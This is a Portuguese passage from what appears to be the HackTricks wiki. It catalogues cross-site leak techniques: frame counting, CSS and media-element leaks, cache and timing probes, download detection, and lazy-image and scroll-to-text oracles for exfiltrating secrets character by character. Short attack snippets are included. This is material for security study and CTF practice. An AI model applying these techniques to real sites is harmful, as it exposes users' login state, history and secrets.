Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
|
|
|
|
Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
|
|
|
|
### Elementos HTML
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
|
* **Resumo:** Leia o valor vazado para distinguir entre 2 estados possíveis
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
|
|
|
O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base em informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.
|
|
|
|
### Informações Expostas por Elementos HTML
|
|
|
|
* **HTMLMediaElement**: Este elemento revela a `duração` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
|
* **HTMLVideoElement**: Ele expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
|
* **getVideoPlaybackQuality()**: Esta função fornece detalhes sobre a qualidade da reprodução de vídeo, incluindo `totalVideoFrames`, que pode indicar a quantidade de dados de vídeo processados. [Leia mais sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
|
* **HTMLImageElement**: Este elemento vaza a `altura` e a `largura` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
|
|
|
### Propriedade CSS
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
|
* **Resumo:** Identifique variações no estilo do site que correlacionam com o estado ou status do usuário.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
|
|
|
Aplicações web podem alterar o **estilo do site dependendo do status do usuário**. Arquivos CSS de origem cruzada podem ser incorporados na página do atacante com o **elemento de link HTML**, e as **regras** serão **aplicadas** à página do atacante. Se uma página altera dinamicamente essas regras, um atacante pode **detectar** essas **diferenças** dependendo do estado do usuário.\
|
|
Como uma técnica de vazamento, o atacante pode usar o método `window.getComputedStyle` para **ler propriedades CSS** de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.
|
|
|
|
### Histórico CSS
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
|
* **Resumo:** Detectar se o estilo `:visited` é aplicado a uma URL indicando que já foi visitada
|
|
* **Exemplo de Código**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
|
|
|
{% hint style="info" %}
|
|
De acordo com [**isso**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), isso não funciona no Chrome sem cabeça.
|
|
{% endhint %}
|
|
|
|
O seletor CSS `:visited` é utilizado para estilizar URLs de forma diferente se já foram visitadas anteriormente pelo usuário. No passado, o método `getComputedStyle()` poderia ser empregado para identificar essas diferenças de estilo. No entanto, navegadores modernos implementaram medidas de segurança para impedir que esse método revele o estado de um link. Essas medidas incluem sempre retornar o estilo computado como se o link tivesse sido visitado e restringir os estilos que podem ser aplicados com o seletor `:visited`.
|
|
|
|
Apesar dessas restrições, é possível discernir o estado visitado de um link indiretamente. Uma técnica envolve enganar o usuário para interagir com uma área afetada pelo CSS, utilizando especificamente a propriedade `mix-blend-mode`. Essa propriedade permite a mistura de elementos com seu fundo, potencialmente revelando o estado visitado com base na interação do usuário.
|
|
|
|
Além disso, a detecção pode ser alcançada sem interação do usuário explorando os tempos de renderização dos links. Como os navegadores podem renderizar links visitados e não visitados de forma diferente, isso pode introduzir uma diferença de tempo mensurável na renderização. Um proof of concept (PoC) foi mencionado em um relatório de bug do Chromium, demonstrando essa técnica usando múltiplos links para amplificar a diferença de tempo, tornando assim o estado visitado detectável através da análise de tempo.
|
|
|
|
Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de documentação:
|
|
|
|
* `:visited`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
|
* `getComputedStyle()`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
|
* `mix-blend-mode`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
|
|
|
### Vazamento de X-Frame do ContentDocument
|
|
|
|
* **Métodos de Inclusão**: Frames
|
|
* **Diferença Detectável**: Cabeçalhos
|
|
* **Mais informações**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
|
* **Resumo:** No Google Chrome, uma página de erro dedicada é exibida quando uma página é bloqueada de ser incorporada em um site de origem cruzada devido a restrições de X-Frame-Options.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
|
|
|
No Chrome, se uma página com o cabeçalho `X-Frame-Options` definido como "deny" ou "same-origin" é incorporada como um objeto, uma página de erro aparece. O Chrome retorna de forma única um objeto de documento vazio (em vez de `null`) para a propriedade `contentDocument` desse objeto, ao contrário de iframes ou outros navegadores. Os atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informações sobre o estado do usuário, especialmente se os desenvolvedores definirem de forma inconsistente o cabeçalho X-Frame-Options, muitas vezes ignorando páginas de erro. A conscientização e a aplicação consistente de cabeçalhos de segurança são cruciais para prevenir tais vazamentos.
|
|
|
|
### Detecção de Download
|
|
|
|
* **Métodos de Inclusão**: Frames, Pop-ups
|
|
* **Diferença Detectável**: Cabeçalhos
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
|
* **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
|
|
|
O cabeçalho `Content-Disposition`, especificamente `Content-Disposition: attachment`, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que aciona um download de arquivo. Em navegadores baseados em Chromium, existem algumas técnicas para detectar esse comportamento de download:
|
|
|
|
1. **Monitoramento da Barra de Download**:
|
|
* Quando um arquivo é baixado em navegadores baseados em Chromium, uma barra de download aparece na parte inferior da janela do navegador.
|
|
* Monitorando mudanças na altura da janela, os atacantes podem inferir a aparição da barra de download, sugerindo que um download foi iniciado.
|
|
2. **Navegação de Download com Iframes**:
|
|
* Quando uma página aciona um download de arquivo usando o cabeçalho `Content-Disposition: attachment`, isso não causa um evento de navegação.
|
|
* Carregando o conteúdo em um iframe e monitorando eventos de navegação, é possível verificar se a disposição do conteúdo causa um download de arquivo (sem navegação) ou não.
|
|
3. **Navegação de Download sem Iframes**:
|
|
* Semelhante à técnica do iframe, esse método envolve usar `window.open` em vez de um iframe.
|
|
* Monitorar eventos de navegação na nova janela aberta pode revelar se um download de arquivo foi acionado (sem navegação) ou se o conteúdo é exibido inline (a navegação ocorre).
|
|
|
|
Em cenários onde apenas usuários logados podem acionar tais downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador ao pedido de download.
|
|
|
|
### Bypass de Cache HTTP Particionado <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Tempo
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
|
* **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
{% hint style="warning" %}
|
|
É por isso que essa técnica é interessante: O Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
|
(Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
{% endhint %}
|
|
|
|
Se um site `example.com` inclui um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta pelo _eTLD+1_ de nível superior e pelo _eTLD+1_ do frame.
|
|
|
|
Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache.\
|
|
Ou poderia apenas **enviar algum fetch para a página potencialmente em cache e medir o tempo que leva**.
|
|
|
|
### Redirecionamento Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Redirecionamentos
|
|
* **Mais informações**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
|
|
* **Resumo:** É possível descobrir se uma resposta a uma solicitação fetch é um redirecionamento
|
|
* **Exemplo de Código**:
|
|
|
|
.png>)
|
|
|
|
### Fetch com AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Tempo
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
* **Resumo:** É possível tentar carregar um recurso e abortar antes que ele seja carregado. Dependendo se um erro é acionado, o recurso foi ou não armazenado em cache.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
|
|
Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o **recurso está em cache** e para expulsar um recurso específico do cache do navegador. Além disso, o processo ocorre sem armazenar em cache novo conteúdo.
|
|
|
|
### Poluição de Script
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML (script)
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
* **Resumo:** É possível **sobrescrever funções internas** e ler seus argumentos, mesmo de **script de origem cruzada** (que não pode ser lido diretamente), isso pode **vazar informações valiosas**.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
|
|
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
|
* **Resumo:** Meça o tempo de execução de uma web usando service workers.
|
|
* **Exemplo de Código**:
|
|
|
|
No cenário dado, o atacante toma a iniciativa de registrar um **service worker** em um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o **service worker** a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega para a referência obtida na etapa anterior para uma página gerenciada pelo **service worker**.
|
|
|
|
Ao chegar a solicitação iniciada na etapa anterior, o **service worker** responde com um código de status **204 (Sem Conteúdo)**, efetivamente encerrando o processo de navegação. Neste ponto, o **service worker** captura uma medição do temporizador iniciado anteriormente na etapa dois. Essa medição é influenciada pela duração do JavaScript que causa atrasos no processo de navegação.
|
|
|
|
{% hint style="warning" %}
|
|
Em uma medição de tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
|
|
{% endhint %}
|
|
|
|
### Tempo de Fetch
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
* **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação. Outros relógios podem ser usados.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
|
|
### Tempo entre Janelas
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
* **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas **mais avançadas** da comunidade.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Com HTML ou Re Injeção
|
|
|
|
Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos onde, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
|
|
|
|
### Marcação Pendente
|
|
|
|
{% content-ref url="dangling-markup-html-scriptless-injection/" %}
|
|
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
### Carregamento Preguiçoso de Imagem
|
|
|
|
Se você precisa **exfiltrar conteúdo** e pode **adicionar HTML antes do segredo**, deve verificar as **técnicas comuns de marcação pendente**.\
|
|
No entanto, se por qualquer motivo você **DEVE** fazer isso **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
|
|
|
|
**Imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**lazy**". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página está carregando:
|
|
```html
|
|
<img src=/something loading=lazy >
|
|
```
|
|
Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (Por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
|
|
Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
|
|
|
Outra opção seria usar o **scroll-to-text-fragment** se permitido:
|
|
|
|
#### Scroll-to-text-fragment
|
|
|
|
No entanto, você faz o **bot acessar a página** com algo como
|
|
```
|
|
#:~:text=SECR
|
|
```
|
|
Então a página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
|
|
|
|
Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento preguiçoso e então o segredo do bot é adicionado.
|
|
|
|
O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo **abaixo da imagem**, a **imagem só será carregada se o segredo adivinhado estiver correto**. Assim, você tem seu oráculo para **exfiltrar o segredo caractere por caractere**.
|
|
|
|
Algum exemplo de código para explorar isso: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|
|
|
### Carregamento Preguiçoso de Imagem Baseado em Tempo
|
|
|
|
Se **não for possível carregar uma imagem externa** que poderia indicar ao atacante que a imagem foi carregada, outra opção seria tentar **adivinhar o caractere várias vezes e medir isso**. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na [**solução deste writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aqui:**
|
|
|
|
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
|
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
|
{% endcontent-ref %}
|
|
|
|
### ReDoS
|
|
|
|
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
|
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
|
|
{% endcontent-ref %}
|
|
|
|
### CSS ReDoS
|
|
|
|
Se `jQuery(location.hash)` for usado, é possível descobrir via tempo **se algum conteúdo HTML existe**, isso porque se o seletor `main[id='site-main']` não corresponder, não precisa verificar o resto dos **seletor**:
|
|
```javascript
|
|
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
|
|
```
|
|
### Injeção de CSS
|
|
|
|
{% content-ref url="xs-search/css-injection/" %}
|
|
[css-injection](xs-search/css-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
## Defesas
|
|
|
|
Existem mitig ações recomendadas em [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) também em cada seção da wiki [https://xsleaks.dev/](https://xsleaks.dev/). Dê uma olhada lá para mais informações sobre como se proteger contra essas técnicas.
|
|
|
|
## Referências
|
|
|
|
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
|
* [https://xsleaks.dev/](https://xsleaks.dev)
|
|
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
|
* [https://xsinator.com/](https://xsinator.com/)
|
|
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\
|
|
Obtenha Acesso Hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|